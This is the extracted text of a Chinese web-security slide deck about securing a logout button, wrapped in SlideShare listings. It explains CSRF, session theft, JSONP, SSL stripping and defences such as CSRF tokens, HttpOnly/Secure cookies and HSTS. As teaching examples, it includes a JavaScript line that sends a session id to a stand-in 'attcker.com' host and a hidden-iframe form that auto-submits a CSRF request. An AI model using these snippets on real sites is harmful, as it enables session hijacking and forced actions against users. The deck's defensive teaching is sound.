SlideShare une entreprise Scribd logo
1  sur  45
Télécharger pour lire hors ligne
如何实现登出按钮? 
LI Daobing 
2013-12-06 
Shanghai
简单 
<a href=“/logout”>登出</a>
如果我在天涯的帖⼦子加上如下⼀一段会发⽣生什么? 
<img src=“http://www.qiniu.com/logout” />
加上 session id, 你就没法攻击了吧 
<a id=“logout” href=“/logout?s=abc123”>登出</a>
⼩小⼼心⺴⽹网站上的恶意 JS 
sid = $(“#logout”).attr(“src”); 
$(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$ 
(“body”))
为什么放在 Cookie 中的 session id 没有这个问题
因为他设置了 HTTPOnly 
但你的⺴⽹网站可能没有设置
好吧我决定改⽤用 POST 了 
<form action=“/logout” method=“POST”> 
<input type=“submit” value=“登出”> 
</form>
<!— attack1.html —> 
<form action=“http://qiniu.com/logout” method=“POST”> 
</form> 
<script>$(“form”).submit()</script> 
<!— fakepage.html —> 
<iframe src=“attack1.html” style=“width:0;height:0”> 
</iframe>
为什么要放到 iframe ⾥里边,直接在 
fakepage.html ⾥里边跳转不⾏行么?
那样会让 fakepage.html 跳转到你的登 
录⻚页,⽤用户会察觉到被攻击了 
我们更喜欢悄悄地攻击
我⽤用过 AJAX, 是不是⽤用 AJAX 就可以避免跳转
很遗憾,浏览器会禁⽌止你发 POST 请求到其他⺴⽹网站 
除⾮非你主动打开跨域允许
好吧,你说该如何写?
<form action=“/logout” method=“POST”> 
<input type="hidden" name="csrf_token" value="abc123"> 
<input type=“submit” value=“登出”> 
</form>
这样写很烦,有没有简单的⽅方案?
你可以⽤用 jquery_ujs.js 
<a href="/logout" data-method="post">登出</a>
我看了⼀一下我的框架,好像没有 
CSRF ⽀支持,我该怎么办?
你可以检查 referer, 判定 POST 请求是否来⾃自本站 
但部分浏览器⽀支持不好,⽐比如 Opera 9.x
我想到⼀一个问题,如果我⽤用 JS 把你的 
⺴⽹网站下载过来,取出 csrf_token, 是不 
是就可以继续⽤用刚才 iframe 的攻击⼿手 
法了?
很遗憾,浏览器禁⽌止你⽤用JS访问 
其他⺴⽹网站,并且分析其结果
你弄错了吧,我⽤用过 Google 站内 
搜索 JS,我就是从 Google 拿到数 
据,⾃自⼰己分析,让后呈现的
这个技术叫 JSONP,其实你没有拿到 
google返回的数据,只是 google 返回的数 
据是⼀一份 JS, JS 中包含你⽤用来处理数据的 
函数⽽而已 
等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码: 
<script src=“http://google.com/? 
q=foobar&jsonp=callback"></script> 
⽽而 Google 返回的数据就是 
callback({result:"abc"})
也就是说必须 Google ⽀支持我才 
能⽤用JSONP对吧? 
⾖豆瓣的数据很爽,可惜不⽀支持 
JSONP, 是不是就不能⽤用了
你可以通过服务器中转
懂了,这样好像还更灵 
活,那 JSONP 还有什么 
意义?
1. 那些需要⽤用户登录后才能拿到的资料⽆无 
法通过服务端中转实现 
2. JSONP 不需要服务端编程。
回到登出这个问题,是不是我 
⽤用你的⽅方法就完美了?
还要⼩小⼼心信息泄露,⽐比如有⼈人在链路上窃听
这个我懂,是不是加上 https ,然后 
所有 HTTP 请求重定向就可以了?
回到最开始的攻击⼿手法,这个情况下窃听者 
就可以拿到你的 session id 
<img src=“http://www.qiniu.com/logout” />
Damn It, 有什么解决办法?
看⻅见下图右边的 Secure 没有,他表 
⽰示这个Cookie只能通过https传递
还有什么其他需要注意的?
⼩小⼼心恶意中间⼈人
是不是我弄好证书就可以了?
好的证书是第⼀一步(不要像 12306 学习), 
你还得⼩小⼼心 SSL Stripping Attack 
⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会 
主动加上 https, 恶意中间⼈人就可以在这个时 
候代理⽤用户把请求发到服务器, 并且窃听 
到所有数据。 
可以在HTTP返回头中加⼊入如下的⼀一项: 
Strict-Transport-Security: max-age=31536000; 
includeSubDomains
还有什么需要注意的,你⼀一次性说了吧
• 要禁⽤用 SSLv1 
• TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx 
启⽤用 TLS 1.1, 1.2, 并且关闭 RC4 
• 有 https 的域名不要开放邮箱申请 
• session id 要⾜足够⻓长,避免 CRIME 攻 
击
完了吗?
你还要⼩小⼼心 XSS, </script>, 宽字符, 
clickjack, frame, content-type, 社会 
⼯工程学攻击
我放弃了,我还是继 
续去做⽕火箭吧 
⾄至少我还不⽤用去考虑 
外星⼈人的攻击 
Falcon, 我来了 
42
⾄至少听我总结⼀一下吧 
1. 需要正确使⽤用 GET/POST 
2. 需要知道如何防范 CSRF 
3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项 
4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正确 
escape 
5. 避免 SQL 注⼊入 
6. 采⽤用⼀一些常⻅见的 HTTP 安全头
Q&A?

Contenu connexe

Tendances

網站黑魔法:姆咪篇 Web security basics <s>x</s>
網站黑魔法:姆咪篇 Web security basics <s>x</s>網站黑魔法:姆咪篇 Web security basics <s>x</s>
網站黑魔法:姆咪篇 Web security basics <s>x</s>志仁 黃
 
WEB 安全基础
WEB 安全基础WEB 安全基础
WEB 安全基础xki
 
高性能Lamp程序设计 付超群
高性能Lamp程序设计   付超群高性能Lamp程序设计   付超群
高性能Lamp程序设计 付超群Shaoning Pan
 
use Nagios on openSUSE 11.4
use Nagios on openSUSE 11.4use Nagios on openSUSE 11.4
use Nagios on openSUSE 11.4welong
 
搜索引擎营销 --Google analytics(内部资料)
搜索引擎营销 --Google analytics(内部资料)搜索引擎营销 --Google analytics(内部资料)
搜索引擎营销 --Google analytics(内部资料)hechangmin
 
javascript的分层概念 --- 阿当
javascript的分层概念 --- 阿当javascript的分层概念 --- 阿当
javascript的分层概念 --- 阿当裕波 周
 
Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)
Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)
Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)Imran Ahmed Farooq
 
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場創科資訊 Trunk Studio
 

Tendances (8)

網站黑魔法:姆咪篇 Web security basics <s>x</s>
網站黑魔法:姆咪篇 Web security basics <s>x</s>網站黑魔法:姆咪篇 Web security basics <s>x</s>
網站黑魔法:姆咪篇 Web security basics <s>x</s>
 
WEB 安全基础
WEB 安全基础WEB 安全基础
WEB 安全基础
 
高性能Lamp程序设计 付超群
高性能Lamp程序设计   付超群高性能Lamp程序设计   付超群
高性能Lamp程序设计 付超群
 
use Nagios on openSUSE 11.4
use Nagios on openSUSE 11.4use Nagios on openSUSE 11.4
use Nagios on openSUSE 11.4
 
搜索引擎营销 --Google analytics(内部资料)
搜索引擎营销 --Google analytics(内部资料)搜索引擎营销 --Google analytics(内部资料)
搜索引擎营销 --Google analytics(内部资料)
 
javascript的分层概念 --- 阿当
javascript的分层概念 --- 阿当javascript的分层概念 --- 阿当
javascript的分层概念 --- 阿当
 
Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)
Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)
Aablay by ahmed nadeem qasmi (www.aiourdubooks.net)
 
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
創科資訊 Meetup - Chrome Extension: 每個網頁都是你的遊樂場
 

Similaire à 如何实现登出按钮

Collaboration On Rails
Collaboration On RailsCollaboration On Rails
Collaboration On RailsJesse Cai
 
Node Web开发实战
Node Web开发实战Node Web开发实战
Node Web开发实战fengmk2
 
Node Web开发实战
Node Web开发实战Node Web开发实战
Node Web开发实战fengmk2
 
TBAD F2E 2010 review
TBAD F2E 2010 reviewTBAD F2E 2010 review
TBAD F2E 2010 reviewleneli
 
Using google appengine_1027
Using google appengine_1027Using google appengine_1027
Using google appengine_1027Wei Sun
 
SiteTag 系統窮人調校法經驗談
SiteTag 系統窮人調校法經驗談SiteTag 系統窮人調校法經驗談
SiteTag 系統窮人調校法經驗談tsunghaolee
 
OpenWebSchool - 03 - PHP Part II
OpenWebSchool - 03 - PHP Part IIOpenWebSchool - 03 - PHP Part II
OpenWebSchool - 03 - PHP Part IIHung-yu Lin
 
Build line notify bot by lotify and create client library by swagger 20200527
Build line notify bot by lotify and create client library by swagger 20200527Build line notify bot by lotify and create client library by swagger 20200527
Build line notify bot by lotify and create client library by swagger 20200527Jia Yu Lin
 
Gulp.js 自動化前端任務流程
Gulp.js 自動化前端任務流程Gulp.js 自動化前端任務流程
Gulp.js 自動化前端任務流程洧杰 廖
 
Using google appengine (2)
Using google appengine (2)Using google appengine (2)
Using google appengine (2)Wei Sun
 
腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享
腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享
腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享George Ang
 
Dynamic JS Loader
Dynamic JS LoaderDynamic JS Loader
Dynamic JS Loaderfeifeipan
 
互联网创业服务器运维工具集
互联网创业服务器运维工具集互联网创业服务器运维工具集
互联网创业服务器运维工具集zhen chen
 
搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流bj
 
搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流jondynet
 
富文本编辑器在互联网上的应用
富文本编辑器在互联网上的应用富文本编辑器在互联网上的应用
富文本编辑器在互联网上的应用luolonghao
 
张所勇:前端开发工具推荐
张所勇:前端开发工具推荐张所勇:前端开发工具推荐
张所勇:前端开发工具推荐zhangsuoyong
 
英文Seo5月期刊
英文Seo5月期刊英文Seo5月期刊
英文Seo5月期刊xujiawu
 
Exam 98-375 HTML5 Application Development Fundamentals
Exam 98-375 HTML5 Application Development FundamentalsExam 98-375 HTML5 Application Development Fundamentals
Exam 98-375 HTML5 Application Development FundamentalsChieh Lin
 
Spry框架的简单使用小结
Spry框架的简单使用小结Spry框架的简单使用小结
Spry框架的简单使用小结sunnylqm
 

Similaire à 如何实现登出按钮 (20)

Collaboration On Rails
Collaboration On RailsCollaboration On Rails
Collaboration On Rails
 
Node Web开发实战
Node Web开发实战Node Web开发实战
Node Web开发实战
 
Node Web开发实战
Node Web开发实战Node Web开发实战
Node Web开发实战
 
TBAD F2E 2010 review
TBAD F2E 2010 reviewTBAD F2E 2010 review
TBAD F2E 2010 review
 
Using google appengine_1027
Using google appengine_1027Using google appengine_1027
Using google appengine_1027
 
SiteTag 系統窮人調校法經驗談
SiteTag 系統窮人調校法經驗談SiteTag 系統窮人調校法經驗談
SiteTag 系統窮人調校法經驗談
 
OpenWebSchool - 03 - PHP Part II
OpenWebSchool - 03 - PHP Part IIOpenWebSchool - 03 - PHP Part II
OpenWebSchool - 03 - PHP Part II
 
Build line notify bot by lotify and create client library by swagger 20200527
Build line notify bot by lotify and create client library by swagger 20200527Build line notify bot by lotify and create client library by swagger 20200527
Build line notify bot by lotify and create client library by swagger 20200527
 
Gulp.js 自動化前端任務流程
Gulp.js 自動化前端任務流程Gulp.js 自動化前端任務流程
Gulp.js 自動化前端任務流程
 
Using google appengine (2)
Using google appengine (2)Using google appengine (2)
Using google appengine (2)
 
腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享
腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享
腾讯大讲堂18 让我们戴上有色眼镜--qzone前台架构的优化分享
 
Dynamic JS Loader
Dynamic JS LoaderDynamic JS Loader
Dynamic JS Loader
 
互联网创业服务器运维工具集
互联网创业服务器运维工具集互联网创业服务器运维工具集
互联网创业服务器运维工具集
 
搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流
 
搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流搜狐Pv insight(py)技术交流
搜狐Pv insight(py)技术交流
 
富文本编辑器在互联网上的应用
富文本编辑器在互联网上的应用富文本编辑器在互联网上的应用
富文本编辑器在互联网上的应用
 
张所勇:前端开发工具推荐
张所勇:前端开发工具推荐张所勇:前端开发工具推荐
张所勇:前端开发工具推荐
 
英文Seo5月期刊
英文Seo5月期刊英文Seo5月期刊
英文Seo5月期刊
 
Exam 98-375 HTML5 Application Development Fundamentals
Exam 98-375 HTML5 Application Development FundamentalsExam 98-375 HTML5 Application Development Fundamentals
Exam 98-375 HTML5 Application Development Fundamentals
 
Spry框架的简单使用小结
Spry框架的简单使用小结Spry框架的简单使用小结
Spry框架的简单使用小结
 

Plus de LI Daobing

好东西是聪明人下苦功夫做出来的
好东西是聪明人下苦功夫做出来的好东西是聪明人下苦功夫做出来的
好东西是聪明人下苦功夫做出来的LI Daobing
 
云存储: 三分开发,七分运维
云存储: 三分开发,七分运维云存储: 三分开发,七分运维
云存储: 三分开发,七分运维LI Daobing
 
分布式存储的元数据设计
分布式存储的元数据设计分布式存储的元数据设计
分布式存储的元数据设计LI Daobing
 
高可用和可伸缩架构
高可用和可伸缩架构高可用和可伸缩架构
高可用和可伸缩架构LI Daobing
 
短视频和云存储
短视频和云存储短视频和云存储
短视频和云存储LI Daobing
 
出了问题不要靠猜
出了问题不要靠猜出了问题不要靠猜
出了问题不要靠猜LI Daobing
 
重整工具箱-从开源软件到开放服务
重整工具箱-从开源软件到开放服务重整工具箱-从开源软件到开放服务
重整工具箱-从开源软件到开放服务LI Daobing
 
从开发到上线-实战持续交付
从开发到上线-实战持续交付从开发到上线-实战持续交付
从开发到上线-实战持续交付LI Daobing
 
HTTP协议相关的若干安全问题
HTTP协议相关的若干安全问题HTTP协议相关的若干安全问题
HTTP协议相关的若干安全问题LI Daobing
 
Debian & Packaging
Debian & PackagingDebian & Packaging
Debian & PackagingLI Daobing
 
OAuth: How And Why?
OAuth: How And Why?OAuth: How And Why?
OAuth: How And Why?LI Daobing
 
如何学习Bash Shell
如何学习Bash Shell如何学习Bash Shell
如何学习Bash ShellLI Daobing
 
glusterfs 文件系统
glusterfs 文件系统glusterfs 文件系统
glusterfs 文件系统LI Daobing
 

Plus de LI Daobing (14)

好东西是聪明人下苦功夫做出来的
好东西是聪明人下苦功夫做出来的好东西是聪明人下苦功夫做出来的
好东西是聪明人下苦功夫做出来的
 
云存储: 三分开发,七分运维
云存储: 三分开发,七分运维云存储: 三分开发,七分运维
云存储: 三分开发,七分运维
 
分布式存储的元数据设计
分布式存储的元数据设计分布式存储的元数据设计
分布式存储的元数据设计
 
高可用和可伸缩架构
高可用和可伸缩架构高可用和可伸缩架构
高可用和可伸缩架构
 
短视频和云存储
短视频和云存储短视频和云存储
短视频和云存储
 
出了问题不要靠猜
出了问题不要靠猜出了问题不要靠猜
出了问题不要靠猜
 
重整工具箱-从开源软件到开放服务
重整工具箱-从开源软件到开放服务重整工具箱-从开源软件到开放服务
重整工具箱-从开源软件到开放服务
 
从开发到上线-实战持续交付
从开发到上线-实战持续交付从开发到上线-实战持续交付
从开发到上线-实战持续交付
 
HTTP协议相关的若干安全问题
HTTP协议相关的若干安全问题HTTP协议相关的若干安全问题
HTTP协议相关的若干安全问题
 
Debian & Packaging
Debian & PackagingDebian & Packaging
Debian & Packaging
 
OAuth: How And Why?
OAuth: How And Why?OAuth: How And Why?
OAuth: How And Why?
 
Git 简介
Git 简介Git 简介
Git 简介
 
如何学习Bash Shell
如何学习Bash Shell如何学习Bash Shell
如何学习Bash Shell
 
glusterfs 文件系统
glusterfs 文件系统glusterfs 文件系统
glusterfs 文件系统
 

如何实现登出按钮